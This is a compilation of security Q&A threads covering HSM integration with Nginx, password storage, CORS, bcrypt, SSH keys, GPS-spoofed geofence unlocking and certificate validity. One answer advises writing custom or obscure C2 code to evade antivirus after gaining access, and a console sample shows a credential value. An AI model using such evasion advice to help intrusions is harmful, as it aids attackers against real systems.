Nginx and HSM integration to hold private keys We are using Nginx and storing private keys in a file on the server. We would like to move our private keys to an HSM so that SSL keys are stored in the HSM and never leave the HSM. All crypto operations required during SSL termination can be done on the HSM.
After Heartbleed, we have seen a lot of articles suggesting the use of an HSM, but we were not able to find how this can be enabled/added to Nginx. We found a patch enabling engine Keyform to read private keys from the engine. Instead of reading keys from a PKCS#11 supported engine, we would like to use the HSM to do all crypto operations so SSL keys never leave the HSM.
Is there any existing Nginx/OpenSSL plugin/module/implementation which can help us achieve this? I have seen a lot of articles talking about SSL termination using an HSM, but couldn't find any implementation details. So before I start digging into Nginx/OpenSSL code, I would like to hear if anyone has some suggestion or recommendation for this problem.

I've never done this before. But here are some suggestive pointers. These points are NOT concrete steps to get it working. From the documentation for the new AWS CloudHSM (not classic) offering:

Setup CloudHSM and generate private key using the CLI utility.
Install and configure the CloudHSM OpenSSL library.
Check if engine works openssl engine -t cloudhsm
Configure Nginx. Since Nginx 1.7.9, you can specify an engine for the private keys

  The value engine:name:id can be specified instead of the file (1.7.9), which loads a secret key with a specified id from the OpenSSL engine name.

So your nginx config would look something like this

ssl_certificate_key cloudhsm:<name>:<keyid>;

I'm not quite sure what the name would be or the keyID. I'll read-up a bit
and edit this answer if I find something.

Note: Also, per documentation, you might have to set the ssl_engine to cloudhsm if you want to enable SSL acceleration (doing the crypto in the HSM).

ssl_engine cloudhsm;

test.

May I ask why you wouldn't want to offload your SSL at the Load Balancers using AWS ACM? That's the easiest way to do it and it's secure if you trust AWS to be secure.

edit: I read a bit and I'm more or less certain that the Key Handle in CloudHSM parlance - the 6-digit numeric Identifier - is the keyid here. I also think user name is the name part. So your Nginx config could be:

# something that looks like:
ssl_certificate_key cloudhsm:AWSUser:568900;

edit2: Nginx compilation is not necessary. We just have to make sure that the openssl engine is loadable. Once configured, this is what it looks like when verifying:

[root@ip-172-31-14-127 ~]# export n3fips_password=user_cu:Wzs8sukUp7FkVs4xQU
[root@ip-172-31-14-127 ~]# openssl engine -t cloudhsm
(cloudhsm) CloudHSM hardware engine support
     SDK Version: 2.03
[ available ]

edit3: Good news! According to this forum post, Amazon is working on better documentation for Nginx integration with CloudHSM.

edit4: AWS has updated their documentation to include instructions for Apache and Nginx. I seem to have got it slightly right! ;) So, apparently, you download a "fake private key" and use it in your Nginx config. The rest of the instructions hold well.

  Regardless of which method you choose, you then export a private key
  handle from the HSMs and save it to a file. The file doesn't contain
  the actual private key. It contains a reference to the handle of the
  private key that is stored on the HSMs. The file's contents are known
  as a fake PEM format private key. Your web server software uses the
  fake PEM format private key file, along with the AWS CloudHSM software
  library for OpenSSL, to offload SSL or TLS processing to the HSMs in
  your cluster

Documentation here: https://docs.aws.amazon.com/cloudhsm/latest/userguide/ssl-offload.html

I haven't tested this yet. Will post an update once I do.


Encrypted retrievable password I have a password conundrum. I need to store an encrypted password in a DB table but in such a manner that would allow me to retrieve the password as plain text afterwards.

Please note that this is a business-driven decision that I have been tasked to find a technical solution for. Could anyone please provide suggestions how this could be accomplished?

I came across these questions which don't seem to provide the solution to my issue.

Storing a user's password in a retrievable manner
Secure storage retrieval of data in a database

As long as you are working with only online needs for the password for integrating with a system while the user is logged in, then you should store the passwords encrypted with both a database key as well as a derived key based on the user's password for your service.  When the user submits the password for their login, you can use that to produce a password derived key and use that PDK to decrypt the value from the DB.

You encrypt with the DB key itself to ensure strong encryption against an offline attack where only the DB data is lost.  You utilize the (much weaker) PDK to prevent trivial compromise in the event that the DB and the DB key are both lost.

The key in designing a system like this is to try to put the pieces needed to get to the password in as many distinct places as possible.  If you have a piece on the DB server (db key), a piece on the web server (db connection credentials), a piece in the DB data and a piece that is only in the user's possession, then an attacker must compromise far more areas to make the system fail.


Securing REST API that will accessed from different clients I have developed a REST/JSON API. The API exposes a lot of features. The API will be consumed by applications we design internally (mobile apps and web apps), by applications designed by our resellers and by applications designed by businesses. I am looking at securing the application by implementing authentication and authorization. I have 'googled' a lot but my research has left me with more questions than answers.

Our internal application will be used by end users registered on the application. In essence, our application is just a client taking request from the end user, taking it to the REST API and retrieving the data for the end user. Our internal application should be able to perform all the operations exposed by the REST API. What is the best way to handle user login on our internal application? HTTP Basic over SSL or OAuth?
Our reseller applications can create users like they own the users but ultimately the user details get stored in our database. The reseller application will just act as a client taking request from the user and fetching user data. Our resellers applications should only be restricted to some operations of the REST API. What security mechanism will I use to implement this kind of authorization and user login?

I hope my question is clear. Thanks for the help.

Assuming your application is a web application, then OAuth2 is going to provide the best user experience.  HTTP Basic Auth is not a great user experience.

You can also allow your resellers to use the OAuth2 authentication, whether by rebranding the OAuth page, wrapping it, or other techniques.  The reseller application could be limited in the scopes available to it, and thus you can limit the operations available to the reseller apps.


Access to unencrypted WAN traffic A basic plain-text unencrypted TCP connection is setup as follows:

Network Client LAN <----> Network Modem <--> ISP <--> Remote Server

The network Modem only has a single wired user, and nobody can sniff any LAN packets.

TCP packets are generated on the Network Client underneath the lan. The network modem sends packets to the ISP and then to a remote server.

Assume

The Local and Remote server is completely trusted. No LAN traffic can be sniffed on either end.
The ISP itself is trusted or are allowed to see the traffic, and they are not compromised.

Is there any way for hackers to see the unencrypted packets as they travel throughout the WAN? They know both the source IP and destination IP address. Can they sniff this traffic?

Any attacker who has access to some equipment (cable, router, ... ) between the network modem and the remote server might be able to access the data, i.e. it should not be a problem for government agencies. Note that an attacker might also change the path of the traffic with BGP hijacking in order to be in path of the traffic.


CORS configuration for service with single browser client Please note: although I mention Spring Boot (and by proxy, Java) I believe this is a pure HTTP/web development question at heart, and as such, can be answered by anyone with CORS-configuration experience and zero Java experience!

I am configuring the CORS policy for a Spring Boot web service for the very first time. This service will live at, say, https://api.myapp.example.com and will only serve requests from an Angular app hosted at, say, https://myapp.example.com.
After doing some digging I found an example Spring Boot CORS configuration example, and even if you don't work with Java it should be pretty straight forward:
CorsConfiguration corsConfiguration = new CorsConfiguration();
corsConfiguration.setAllowedOrigins(Arrays.asList("*"));
corsConfiguration.setAllowedMethods(Arrays.asList("GET", "POST", "PUT", "DELETE", "OPTIONS"));
corsConfiguration.setAllowedHeaders(Arrays.asList("Authorization", "Content-Type", "X-Auth-Token"));
corsConfiguration.setExposedHeaders(Arrays.asList("X-Auth-Token"));

Basically:

Allow requests from all (*) origins
Allow requests using GET, POST, PUT, DELETE and OPTIONS methods
Accept Authorization, Content-Type and X-Auth-Token headers
Return an X-Auth-Token header in the response

My service will make use of a simple JWT-based scheme:

User goes to the login page in the Angular app, enters username and password and clicks submit
Angular app makes a POST to https://api.myapp.example.com/v1/login (JSON request body of {"username": "someone", "password": "12345"})
Server authenticates them, and if thats a valid login, sends back a JWT in the response (but not as an X-Auth-Header)
Angular app stores that JWT and sends it on each request as part of an authorization bearer header ("Authorization: Bearer <JWT>")

Having laid down all this background context:

I understand allowing all (*) origins is a security risk. What value should I set on my allowed origins that only accept requests from my Angular app?
Since I am using authorization bearer tokens and never using X-Auth-Header, I don't believe I need to allow/expose X-Auth-Token at all, correct?

As I wrote this, it kinda turned into paraphrasing the Mozilla CORS docs. The specific answers to your questions are tagged with "Suggestion:".
A little background on CORS
CORS policy is an extension of the Same-origin policy (specifically, CORS tells the browser what to do when a bit of javascript tries to make a cross-origin call). According to Mozilla, the definition of "same origin" is:

Two URLs have the same origin if the protocol, port (if specified), and host are the same for both.

Your two URLs are:
https://api.myapp.example.com
and
https://myapp.example.com

Same protocol (https), same port (unspecified), but different host, ergo the browser considers them different origins and will invoke CORS
Suggestion: So the first thing you could do is host your UI and API on the same protocol, port, and host, and then you don't need to worry about any of this mess. But I'll continue on assuming that you can't do that for whatever reason.

What value for Access-Control-Allow-Origin?
In this section I'm basically just quoting Mozilla's CORS page.
Here's how this is going to work: your UI's javascript is going to construct some request; probably by building up an XMLHttpRequest with body and headers and whatever, then it's gonna go to send it and the browser will go "whoah whoah, this is a non-simple cross-origin request, I need to do CORS before I send this request. It will send a "preflight" request with the OPTIONS HTTP verb to, basically, ask permission to send the real request. You may see your browser send a pre-flight like this:
OPTIONS /api/v1/phonenumber HTTP/1.1
Host: api.myapp.example.com
User-Agent: Mozilla/5.0
... snip ...
Origin: https://myapp.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization, Content-Type, X-Auth-Token

Which, in plain English means:

Hi api.myapp.example.com, this is Firefox!
The javascript at https://myapp.example.com is trying to send you POST /api/v1/phonenumber and it set custom values on the following headers: {Authorization, Content-Type, X-Auth-Token} is it cool if I let that through?

If the server returns an error or anything other than a proper CORS response, then the browser will not send the actual POST. A successful CORS response might look like this:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://myapp.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type, X-Auth-Token
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin

Broken down, that basically means:

Hi Firefox!
Yes, you can send that to me. Also, in case it sends similar requests in the future, this URL can be called by https://myapp.example.com with GET, POST, PUT and DELETE, and with custom values for the Authorization, Content-Type, and X-Auth-Token headers. You don't need to ask me again for 86400 seconds. But please do ask me again if the same request comes with a different Accept-Encoding or Origin, because I may give a different answer.

Suggestion: If your JS will never set a value in the X-Auth-Token request header, then there's no need to specify it here.
Suggestion: Long story short, you want your API server to respond to OPTIONS requests with:
Access-Control-Allow-Origin: https://myapp.example.com
Vary: Origin

In your case, you can probably just hard-code that. For other readers, since you can't put a list here, the more general method is to look at the Origin: on the OPTIONS req, decide if that meets your rule or not, and if so then echo it back.

Access-Control-Expose-Headers
This tells the browser that javascript is allowed to read the specified headers. It sounds like you're returning your JWT in the response body, so you shouldn't need to set this, but if you were returning the JWT in, for example, an Authorization header that the JS needs to read, then you would need to specify that here.
Suggestion: If your server will never set a value in the X-Auth-Token response header, then there's no need to specify it here.

I think / hope my ramble has covered all your questions.
PS. CORS is stupidly complicated. As one of my colleagues recently said "The more I learn about CORS, the less I understand it". I am definitely still a student when it comes to CORS.


BCrypt's 72-character limit and using it as a general digest algorithm Goal: have token/cookie-based authentication that doesn't require keeping sessions on the server

TL;DR: What, if any, is the accepted mechanism to work around the 72-character limitation of BCrypt?

Long version:

After reading this answer I attempted to implement authentication on a REST-based server using BCrypt as a hashing algorithm and a rotating server-side secret. The basic idea was that upon successful authentication with a username and password, the server would set a cookie containing a hash based on concatenating the following:

The server-side secret
The user ID and groups to which the user belongs
The time at which point the token was given out

This would then be hashed with a salt, and the result would go in the cookie, to be read and verified by the server (possible because the user ID, groups and date are transmitted in the plain by the client, and the server-side secret is in memory, with the secret serving as a guarantee that the client didn't make all the other values up themselves).

This all worked well until I realized that BCrypt has a 72-character limit on the plaintext being hashed (anything after those 72 characters does not influence the output hash).

This is a problem because the above data amounted to more than 72 characters, and allowing either the time, user ID, groups or secret key to be 'last' in the input and not influence the output opens holes in the system's security (either old tokens are infinitely valid, or people can modify their user ID / role arbitrarily).

Ironically, when I finally figured out why my system was producing identical hashes based on differing input and googled around, it seems this kind of situation was foreseen by some.

Anyhow, the question: What, if any, is the accepted mechanism to work around the 72-character limitation of BCrypt?

Some pre-emptive thoughts: Making up your own variations on standard crypto algorithms is something I've been warned about for as long as I can remember, so I am not 100% sure what would be the best course of action.

Obvious options include:

chunking the input and applying BCrypt to each in turn and/or in cascaded fashion;
using another (non-cryptographic?) hash on the input to reduce its size
using plain compression (but that might be ineffective with such a small bit of plaintext)
switching to another algorithm (SHA-3 was recently finalized, for instance).

(there may be other things wrong with the above idea, in which case I would of course be happy to be corrected!)

The accepted mechanism is "don't do it".

What is bcrypt good at ? It is good at being slow. Why would you want a cryptographic function, or just any function, to be slow ? This makes sense only when the input to the function is a low-entropy secret, which means "some value which the adversary could conceivably, and realistically, explore exhaustively". Passwords are low-entropy secrets: it is well-known then when human beings are allowed to choose secret strings in the privacy of their brain, most will select "witty" passwords which are utterly weak against dictionary attacks. The only remaining defense is to enforce the use of an inherently slow hashing process, which is equivalent to sending all involved computers (and, in particular, the attacker's computers) back to the early 1980s, when 1 MHz was a very high CPU frequency.

In your case, the "secret value" is the server's secret; it should not be of low entropy (the server is a machine, not a human; it can remember long keys). If the server's secret is a low-entropy value, then you are doing it wrong.

Therefore, no need for bcrypt or any other deliberately slowed function here. What you actually want is a Message Authentication Code: you want to store some values on the client side (as a cookie), but you also want to check that you are not fed back forged values; this is a matter of integrity, and a MAC is the right tool for that. Use HMAC/SHA-256, with the "server's secret" as the MAC key (your homemade hashing of several values, including the server secret, is just a homemade MAC in disguise, so you could just do it right by reusing the standard, robust, expert-vetted solution, and that's HMAC).

Of course, once we begin to use client-side storage, it becomes tempting to store values which the client himself should not learn. To the integrity requirement, we add confidentiality. For that, we need encryption. Doing encryption properly is difficult, and combining encryption and a MAC even more. In that case, do yourself a favour: use an authenticated encryption mode, which will do it properly with minimum hassle (I recommend EAX).

By suggesting Keccak (SHA-3), you demonstrate that you are afflicted with a very common disease, which can be called the "iPhone syndrome": you crave for the newest gadget. Stop it. When dealing with security in general and cryptography in particular, this will lead only to massive suffering. In cryptography, "new" is another name for "bad".

The best kind of cryptographic algorithms is old algorithms which are still alive. There is no better criterion for security. In that sense, SHA-2 is better than SHA-3, and will remain so in the future, until a problem is found with these functions. The NIST people themselves explicitly recommend SHA-2 and deny any suggestion that SHA-3 would be better than SHA-2.


Does Computer Programming and Hacking necessarily involve math? Is it possible to study the subfield of Computer Programming and Hacking without being very good in Math?
Apart from Cryptography and Computer Programming and Hacking -
Are there any subfields of Information Security that don't (necessarily) involve Math?

Sure, there is plenty of work to be done in the security field that does not need strong math skills.

First, math skills are helpful if you want to touch on the following:

Internals of Cryptography. If you want to know how encryption, hashing, signatures, etc works internally then you will need very strong math skills. That said, Many security professionals (and even many programmers / developers working with cryptography) are happy to treat crypto as a black-box; they know what it does and how to use it, but don't need to know how it works.
System / Vulnerability analysis: That is, looking at the proposed design of a piece of software, or a network and trying to find security holes in it. This does not involve math directly, but in my experience, people with advanced degrees in math have been trained to think very systematically, to break things down into classes of inputs, classes of use-cases, etc and very quickly zero in on which class is most likely to yield a vulnerability. In my experience, people without a formal training in math spend much more time doing trial-and-error to arrive at the same result.

(These are off the top of my head, I'm sure there are other examples)

That said, there are many areas of security programming and hacking that require almost no math knowledge. Really, a "security programmer" or "hacker"is someone who knows a particular technology so well that they can find little loopholes to exploit. For example, if you want to hack web pages, learn the HTTP and SQL protocols very well and find some web hacking tools that you like. If you want to hack linux servers, become very familiar with the linux command-line, the linux permission system, etc. If you know these things well enough, you'll start noticing when somebody has been sloppy is setting up a system, leaving you room to hack in. None of that needs very much math skill.


Managing SSH private keys on a public host I have a web server which is running on a private subnet in AWS VPC, let us call it worker.

I can access the worker VM through a Bastion VM which is in the same VPC but in a public subnet.

Then, I have another VM (public_host) in a public subnet in a different VPC which listenning to the worker VM through SSH tunnel.

inorder to make the SSH tunnel, I need to have the private keys of Bastion and worker on the public_host. I am not security expert, but I guess it is not the best practice to have private keys on the public VM.

can someone please suggest me an approach solve this weak point?

I was thinking to write the listener with the private keys included in a Go app, then compile it and deploy the compiled binaries on the public_host. Would it be considered a more secure approach?

I assume you mean that public_host must contain the public/private keypair of an identity that's allowed to log into Bastion and worker? As mentioned in the comment on your question, it's unlikely you'd have the private keys of those other systems on the client system.

To address your question, there are a few things you can do to reduce risk or as alternatives:

Ensure the client's keys have a passphrase defined. Now, nobody can
use those keys without knowledge of the passphrase, even if they
steal the keys.
Store the keys elsewhere (e.g. on an individual user's system) and use SSH
authentication forwarding. Anyone who has access to public_vm as root while
you're logged in will be able to use those keys (since they're accessed via
a pipe/socket in /tmp that root can read/write), but non-root users won't, and
the keys simply won't be available at all when you're not actively logged in.
On the destination host, configure the SSH server to restrict exactly what
 those keys can do. For example, you can force a particular key to run a
 specific command instead of whatever the user requests, or disallow sftp
 while still allowing ssh. This can reduce the risk to the server if the
 client's key is compromised.


Is it possible to analyze real Single Sign-On (SSO) messages via network sniffing? I am thinking how to gain and analyze the information in the real SSO (request/response) messages, for some commercial SSO solutions.

The challenge is that most commercial SSO solutions are black-box or gray-box. I know the OpenID/SAML protocols. Based on these standards, SSO vendors(idps) customized their own SSO solutions, such as Google ID SSO, Paypal Access SSO, Facebook Connect SSO, and many more.

As the SSO token/assertion is transmitted through network, is it possible to analyze them (SSO request/response messages) by the help of network sniffing?
I know many of them are already encrypted by TLS/HTTPS. Is it possible to turn them into HTTP and analyze?
Any other methodology can help commercial SSO's analysis, except searching official whitepapers online? For example, browser-based analysis.

There are two types of data in an SSO system: data an end user can see and data that is hidden from the end user.  If the system is designed properly, there is no third category (i.e. there is no data is hidden but obtainable via sniffing).

There are many SSO systems where 100% of the data transfer is done right before your eyes, in the browser.  If you have Chrome you can hit F12 and see all of the traffic.  You don't have to sniff it or decrypt it because you are the proper user and your browser has the cryptographic session key.  With this method, you can see often SAML requests, responses, and assertions passing right through your browser via scripted posts and redirects.

But in some systems there are data that are hidden, via two means.  (1) The data still flow through your browser, but are encrypted (e.g. a session cookie containing an encrypted bearer token), and (2) data that flow through a back channel (e.g. if a private VPN is established between the identity server and the application server).  In the former case, you will not be able to access the data unless their crypto is broken.  In the latter case your browser may be using tokens that are meaningless to you because they are pointers into a data store that you can't see.

In all cases, sniffing network traffic won't get you anything that you can't get by easier means.


Securely determine my smart phone's position (in front of the door) I am theoretically thinking about automatically unlocking the house door via smart phone. Without the need to fiddle with the smart phone (opening an app, pressing a button).

There is a commercially available locking/unlocking device which works as follows:

Determining if the smart phone is in a geo fence
Within 40 minutes, it has to enter the range of a bluetooth beacon and then an TLS / bluetooth unlock signal is sent to the door unlocking device.

They claim that even the bluetooth beacon can be manipulated (emulated), the unlock signal can not be faked / repeated.

I am thinking off the following attack vector:

Phone is inside the house, next to the owner's bed
From outside the window, fake GPS signal to fake leaving and entering the geo fence
Phone would emit bluetooth opening signal
Catch that bluetooth signal (if not in range of the door already)
Repeat it to the door
Door opens

Another attach vector would be, that the phone is outside of the house, but the attacker is nearby the pone.
The attach works the similar

Fake GPS to make the phone believe it enters enter the geofance
Catch the bluetooth signal, repeat it via internet to the owner's home
Open the door

Is this theoretically possible, if not, why is it still secure? If it is not secure, how can it be make safer?

In this case the security can indeed be circumvented, because GPS isn't secure. Having the phone out of range of the Bluetooth device is actually a help.

The weak point of the attack is this:

  From outside the window, fake GPS signal to fake leaving and entering the geo fence

"Faking GPS signal" is not really easy since you also have the real signals coming in. You might set up a GPS receiver somewhere else, and have the signals it receives sent back to a powerful retransmitter next to the victim phone. This is probably not going to work too well due to retransmission delays, which will mutually invalidate several satellite signals (the satellite constellation will appear to be farther out than LEO orbit, and be wobbling something fierce). What you would see if you were looking at the phone with a map app turned on would be the "You're Here" dot jumping around like crazy, and disappearing altogether for several seconds or minutes. Actually I'm not so sure you could acquire a position. But I have seen that slightly messing with GPS signals results in the blue dot floating at random around the count(r)y, and its uncertainty radius to grow proportionally.

If this is enough to activate the geofence trigger, you're golden. And, to thwart this attack, what you need to do is monitor the GPS position and ensure it's sane (no jumping around at more than 200 km/h, for example). So an additional requirement for the "improved geofence" is for the phone to stably position itself outside of it for a reasonable amount of time with a small uncertainty radius.


Is it safe to rm -rf an untrusted directory? There are a lot of linking tools(symlinks, hard links, mount, etc.) available. Suppose a disgruntled employee gets the idea that he's going to hide a link to the root directory or some mission-critical directory, so that a lazy sysadmin who runs "rm -rf /home/joe" after he's fired ends up destroying something important.

What are the ways that Joe can cause trouble with links? Is there a configuration setting to protect the lazy sysadmin? How should a paranoid sysadmin safely delete a directory that may contain suspicious links?

Hard link to directories have been brought up in comments. Nominally they cannot happen; Unix-like systems have disallowed them for a long time because they would allow the creation of loops. Since space allocation in such a filesystem is based on reference counting, a file being really deallocated when the last link on it disappears, a directory loop could induce a bunch of inaccessible files that are not reclaimed.

However, being disallowed does not mean that it cannot be done; only that the purported disgruntled employee would have to fiddle with the disk structure, which would entail root or physical access (root access to do it remotely; if the employee had physical access then he could simply reboot on a live CD or USB to play with the disk). In the filesystem structure, sub-directories are referenced from the parent directory, and noticing a case of the same directory being referenced from two distinct parent directories would require, in all generality, a complete vision of the whole directory tree. The kernel does not try to maintain such a vision since it could potentially use up more RAM than available. Thus, if the directory structures are altered to include several links to the same directory, the live system won't notice it.

fsck detects loops, but it does so only when it runs, i.e. only at boot time, and then only once every N reboots, for some (configurable) value of N. It may detect some other cases of multiple links to the same directory (without making a cycle) but I cannot vouch on that, for the same reason as explained above: to reliable detect all cases of multiple links, the complete directory tree must fit in the RAM of the detection process. Loops are easily detected with a depth-first tree walk, but acyclic non-tree structure require more resources.

But, more generally, if the bad Joe had root or root-equivalent access, and is assumed to have potentially used it with nefarious intent, then the whole machine should be touched only with prongs, and only to push it to some industrial-grade shredder.

Symbolic links, on the other hand, do not cause harm here. rm won't follow symbolic links.

Evil Joe could have mounted another partition in a sub-directory of his own home directory, but, there again, it would require root access, and we are back to the previous paragraph.

In general, when an employee leaves the company, the process should involve a wiping/re-imaging of his workstation or laptop. If the employee is considered capable of mischief and assumed to have indulged in active sabotage, then deletion would not be the right thing to do anyway: you want to do some forensics and keep proofs.


Which is more secure against packet injection? I was wondering how secure the network of my service provider is.

Which network is more secured against file injection, password cracking, or brute force login: a network using a captive portal, WPA2-PSK/ENTERPRISE, or using a proxy server?

And is it possible to use a proxy server and WPA2-ENTERPRISE simultaneously on the same network?

In short, this looks like this:

WiFi without password is totally insecure. You can use VPN (not proxy) but then it's hard to use VPN on all devices.
WPA2-PSK (Personal) is OK except Evil Twin Attack as long as you have something like 14 character, random password with upper, lower-case characters and numbers. Some go with 12 character length if the password is truly random.
WPA2-EAP (Enterprise) if usually most secure and resilient to Evil Twin Attack. There's some security risk in EAP protocols and software stacks on your systems involved in it, however this is much harder to do and it can be patched once the flaw is found so it's not broken by design.
WPA2-PSK/Enterprise is not really something really common. It may be it's some sort of misinformation because this standard haven't been adopted.
Captive portals can be used with any of the above variants. It's more suitable for the Hotels for example

For the convenience, security and compability you could go with WPA2-EAP/PAP which is using login and password, so you can enter these on every device.
Captive portal is not also very secure because someone can do MITM on it even with fake SSL cert. It's good for customers who can logon with their Facebook account for example. With WPA2-EAP/PAP you'd get login and password so then you just enter it on Smartphone, Laptop etc.

You can use VPN on any kind of WiFi network. If you plan connecting multiple devices you could setup dedicated router which would handle the VPN for all devices but this would be quite complicated and hard to get it working in stable fashion on the start. I think if you can get WPA2-EAP or good PSK key then you'd be just fine without VPN, however if you do not trust your provider you can get one as well, starting from your laptop for example, using it on the mobiles is quite an over-kill.


How to know who I am protecting database information from? I am trying to determine whether I need to use transparent database encryption (TDE) or encryption at web server to protect data in a database.

Here are a couple articles I've read on the subject, which seem to hold slightly different opinions: article 1 | article 2

The question I keep coming across is "who are you trying to protect data from?". And the options seem to be protecting data from a database administrator account vs external users.

I am not positive what my answer to this question is, so which group am I trying to protect from?

Further info: I am storing user-specific, confidential information in a database. The only person authorized to see this information is the user who has signed in using a username and password. The data needs to be protected in as many situations as possible.

This is where understanding your risks and threats is essential - every industry and every organisation has a different risk profile.

To give you a couple of examples:

A global oil company's key threat actors may be ecological activists, terrorists, foreign governments and competitors - all external, but with different attack vectors. Foreign governments may use well funded stealthy exploits in order to gain access to valuable well data, whereas terrorists may be more concerned with physical access to wells in order to plant explosives.
A health service, while wanting to protect private medical data from disclosure, may have a stronger priority of maintaining system uptime in order to provide healthcare services to critically ill patients. Their key threat identified may be the risk of outage, so controls will be focused around that rather than preventing an attacker gaining access.

So have you carried out an assessment of your risks and threat groups? Is the data in your database subject to regulation where you are?

Realistically, if that data is sensitive, you will want controls to prevent dbA's tampering with data and to prevent external parties gaining access - but your risk and threat assessment may guide the balance of spend on controls.


Credit Card details shown in full after payment on online store A large and reputable online store shows the credit card details of the customer in full on the order confirmation and receipt page (after payment has been processed).

This is the first time I have seen this occur on any online store, as usually it is just the first 6 and last 4 digits from the credit card that are shown as part of the order confirmation.

Surely, this is not PCI compliant and puts customers at risk? But what general methods could an attacker use to exploit this and thus compromise/steal the customers credit card details?

It seems like a pretty significant flaw in their website and payment system...

It is not PCI compliant (emphasis added):

  Never store the personal identification number (PIN) or PIN Block. Be sure to mask PAN whenever it is displayed. The first six and last four digits are the maximum number of digits that may be displayed. This requirement does not apply to those authorized with a specific need to see the full PAN, nor does it supersede stricter requirements in place for displays of cardholder data such as
  on a point-of-sale receipt.

Two threats come to mind:

Shoulder Surfing
Browser cache


X-Content-Type-Options without content-type X-Content-Type-Options helps to protect against attacks that take advantage of the browser trying to interpret HTTP responses with an incorrectly stated Content-Type.

But what happens when the HTTP response sets the X-Content-Type-Options header but not the Content-Type header.

Will the browser still "sniff" or will it take a certain default?

Found the answer on the same page:

  Let mimeType be the result of extracting a MIME type from response’s
  header list.
  Let destination be request’s destination.
  If destination is script-like and mimeType (ignoring parameters) is not
  a JavaScript MIME type, then return blocked.
  If destination is "style" and mimeType (ignoring parameters) is not text/css, then return blocked.
  Return allowed.

I assume, since there is no MIME type declared, step 3 never returns blocked. In my case, there is no destination either, so we finish in step 5 -> allowed.

Edit: In step 3 and 4 an empty mime-type will not be a javascript mime type or a text/css mime-type. Therefor the request will be blocked if the destination matches.


How safe is accessing HTTP traffic(non-SSL) when using VPN and connected to public WiFi? Suppose I am using public WiFi and connected to my office network through VPN. I am accessing some applications which are not SSL enabled. How easy it is for an attacker to see the traffic if he is also using the same public WiFi.

If the concern is just as far as the WiFi hotspot and the users who are connected to it, then as long as you are connected to the VPN, the traffic should be encrypted and cannot be viewed by any other WiFi user.

There are some concerns however, on the type of VPN used, which encryption method it is using, and so on. Also, I think the biggest concern would be if the VPN gets disconnected without you knowing, which would automatically fall back to unencrypted WiFi traffic.

Depending on your OS, you could configure it to stop all traffic if VPN is not connected at any point of time.


How to set "Not Before" value to past when creating certificate request We have lots of embedded TLS clients on the field. TLS Servers must be authenticated.

Because long power cuts may reset clock of those devices, we have requirement to use certificates with validity period: from 19700101000001Z to 99991231235959Z.

How to use openssl to create certificate requests with those kind of validity period?

I only find the -days option for setting period, and that is not enough.

The "99991231235959Z" end of validity period may run you into trouble, because some software still converts date to an internal representation as a number of seconds since the "Epoch" (January 1st, 1970, 00:00 UTC) over a signed 32-bit integer. This internal representation fails on January 2038. Setting a validity period which spans beyond that fateful date may imply that your certificates will be rejected by some implementations.

Also, when a device sees its clock reset due to a long power cut, I suppose it does not get reset to a random date; it gets reset to a "default" date. Your certificate validity does not have to cover eight thousand years, but "just" the current days (for devices with a clock well adjusted) and the days around the default value to which clocks are reset when they lose power. Setting the validity period to range from 1970 to, say, 2037, ought to cover all cases, and will keep the internal representation (if used by a specific implementation) in the range where 32-bit signed arithmetic is good.

Be aware that if your devices do not have an accurate clock, then you will not have reliable revocation support, unless you enforce OCSP with client nonces.

That being said, validity period is not part of the certificate request. The period is chosen at the time the certificate is emitted, by the CA.

The OpenSSL command-line tool can be used as a very crude CA, although it was mostly designed for debugging. That tool offers "commands", two of which being able to create an X.509 certificate, x509 and req. Both provide only one option to adjust the validity period, which is the -days option. This is quite plainly visible if you take a look at the source code, e.g. in apps/x509.c:

            if ((x=X509_new()) == NULL) goto end;

            if (sno == NULL)
                    {
                    sno = ASN1_INTEGER_new();
                    if (!sno || !rand_serial(NULL, sno))
                            goto end;
                    if (!X509_set_serialNumber(x, sno))
                            goto end;
                    ASN1_INTEGER_free(sno);
                    sno = NULL;
                    }
            else if (!X509_set_serialNumber(x, sno))
                    goto end;

            if (!X509_set_issuer_name(x,req->req_info->subject)) goto end;
            if (!X509_set_subject_name(x,req->req_info->subject)) goto end;

            X509_gmtime_adj(X509_get_notBefore(x),0);
            X509_time_adj_ex(X509_get_notAfter(x),days, 0, NULL);

As you see in this code snippet, the new X.509 certificate structure is created,  (and defaults the start and end of the validity period to the current date); the two last lines of the code adjust the validity period using the days parameter, and nothing else.

So if you want to adjust the validity period to arbitrary dates, you have two possibilities:

Set the current date of your computer to the start date you wish to use, so that openssl believes that we really are in the early 1970s; and set -days to 24000 or so. This is an awful hack and setting the clock of your computer back in the pre-Disco past might be difficult (modern computers automatically set their clock with NTP), and may break things (e.g. a MacOS X 10.5 computer will not be able to connect to WiFi if its clock is before year 2000).
Emit the certificate programmatically, using OpenSSL as a library, not as a command-line tool (alternative: modify OpenSSL source code to include the command-line options you need for x509 and/or req).


What's the point of Empire if all payloads get flagged? I've been reading about how powerful frameworks such as Empire and Metasploit are but I'm confused about something.
Say I gain access through a custom reverse-shell which I self-coded (so it bypasses AVs). Now, for privilege escalation, I want to have a meterpreter/Empire session.
How can I do that if the payload generated gets instantly removed by the AV?

Powershell Empire passed out of active development in April 2019, in part due to the problem of defenses catching up with it:

"The original objective of the Empire project was to demonstrate the
post-exploitation capabilities of PowerShell and bring awareness to
PowerShell attacks used by (at the time) more advanced adversaries,"
said Chris Ross, one of Empire's lead developers.
"We feel that we've accomplished that objective and are proud to see
the security optics and improvements that have been provided by
Microsoft in the past few years; in addition to the increased focus
the EDR [Endpoint Detection and Response] community has placed on
PowerShell based attacks.
"With that in mind, the project's time has passed and newer frameworks
with better capabilities have been released," Ross added. "So it's
time to say farewell to Empire. We will not be updating or maintaining
the project any further."

As a high-profile attack tool, it received significant attention from defenders.  Likewise, Metasploit is tracked by many tools and is prone to detection as a result.  For these reasons, writing custom code is popular with attackers and Red Teams alike.
You will need to find more obscure C2 code, or write your own, if you want to evade detection.


What would happen if some random webpage made an Ajax request for http://127.0.0.1/private.txt? I run a localhost-only webserver (PHP's built-in one) for all my admin panels and whatnot on my machine. I'm worried that, if any random webpage has a JavaScript snippet which makes an Ajax call to http://127.0.0.1/private.txt , and I visit that webpage, it will make my browser (Firefox) fetch whatever data is returned from that URL and be able to use it, for example to send it back to their own server in another Ajax request.

